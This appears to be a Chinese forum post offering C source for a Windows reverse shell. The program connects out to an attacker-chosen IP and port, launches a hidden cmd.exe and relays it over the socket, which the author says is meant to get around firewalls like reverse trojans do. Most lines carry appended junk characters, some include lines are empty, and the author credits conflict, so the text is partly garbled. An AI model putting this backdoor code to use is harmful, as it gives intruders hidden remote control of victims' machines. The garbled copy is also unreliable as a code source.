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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 D +)6#i Y  
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/* ============================== 5DyN=[b  
Rebound port in Windows NT c ~YD|l  
By wind,2006/7 ^V_acAuS^  
===============================*/ V{Idj\~Jh  
#include KN~E9oGs  
#include X >%2\S  
{L$b$u$7:  
#pragma comment(lib,"wsock32.lib") W\U zw,vI  
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void OutputShell(); }#<Sq57n  
SOCKET sClient; :M|c,SQK  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; U3kf$nbV/J  
>o 3X)  
void main(int argc,char **argv) P xpz7He  
{ Di*+Cz;gK  
WSADATA stWsaData; An[*Jx  
int nRet; u{H,i(mx?  
SOCKADDR_IN stSaiClient,stSaiServer; 7L;yN..0  
~uC4>+dk  
if(argc != 3) /l+x&xYD  
{ 92Ar0j]  
printf("Useage:\n\rRebound DestIP DestPort\n"); M|d[iaM,  
return; 8)"KPr63M  
} YhLtf(r  
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WSAStartup(MAKEWORD(2,2),&stWsaData); o;];ng  
r.i.w0B(  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L{^DZg|E  
pJa FPO..|  
stSaiClient.sin_family = AF_INET; &%qD Som3  
stSaiClient.sin_port = htons(0); )r?i^D&4  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \U !<-  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .[2MPjg  
{ CM5A-R90  
printf("Bind Socket Failed!\n"); Rdt8jY6F/  
return; ;%dkwKO  
} i'e^[oZ  
;\<?LTp/r  
stSaiServer.sin_family = AF_INET; Z(as@gj H  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `t!iknOQ$  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); aGpRdF1;!  
zo} SS[  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Vg \-^$  
{ a _  
printf("Connect Error!"); i+&= "Z@  
return; AF3t#)q  
} M8cLh!!  
OutputShell(); _"0n.JQg  
} y\0^c5}  
t_]UseP$RF  
void OutputShell() |!!E5osXq  
{ /mD KQ<  
char szBuff[1024]; (sqS(xIY  
SECURITY_ATTRIBUTES stSecurityAttributes; ljt1:@SN(  
OSVERSIONINFO stOsversionInfo; 3:Z(tM&-O  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; m]"YR_  
STARTUPINFO stStartupInfo; C4 Wdt  
char *szShell; ?sS'T7r v  
PROCESS_INFORMATION stProcessInformation; -S,dG|  
unsigned long lBytesRead; ]LSa(7>EU  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [tD*\\IA  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Uw&+zJ  
stSecurityAttributes.lpSecurityDescriptor = 0; <q[ *kr  
stSecurityAttributes.bInheritHandle = TRUE; 'E&K%/d  
~:t2@z4p  
p\-.DRwT`  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); oC7#6W:@w  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _ZS<zQ'  
t9`NCng 5  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); \~?s= LT  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E?9_i :IX  
stStartupInfo.wShowWindow = SW_HIDE; 1MahFeQ[  
stStartupInfo.hStdInput = hReadPipe; 8OFrW.>[  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ycE<7W  
r?X^*o9  
GetVersionEx(&stOsversionInfo); qFs<s<]  
c=b\9!hr_E  
switch(stOsversionInfo.dwPlatformId) ^_=0.:QaW  
{ GUp51*#XR  
case 1: "mH^Owai  
szShell = "command.com"; ^@19cU?q  
break; =OHDp7GXO>  
default: d.} rn"(z  
szShell = "cmd.exe"; 8U(a&G6gn  
break; F Q k;  
} #TSM#Uqe  
a<o0B{7{BM  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); hT]p8m aRZ  
M^[ jA](a  
send(sClient,szMsg,77,0); qt:->yiq+  
while(1) Wey\GQ`"8  
{ 'P Yl%2  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 3)-#yOr  
if(lBytesRead) CTP%  
{ cq=R  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }>1E,3A:%G  
send(sClient,szBuff,lBytesRead,0); eS.]@ E-T  
} A"k,T7B  
else j?mJ1J5  
{ l2v}PALs  
lBytesRead=recv(sClient,szBuff,1024,0); ;C{_T:LS  
if(lBytesRead<=0) break; *AA1e}R{B  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #rC/y0niH  
} \bsm#vY,  
} vOj$-A--qU  
d{trO;%#f  
return; LtU+w*Gj  
}
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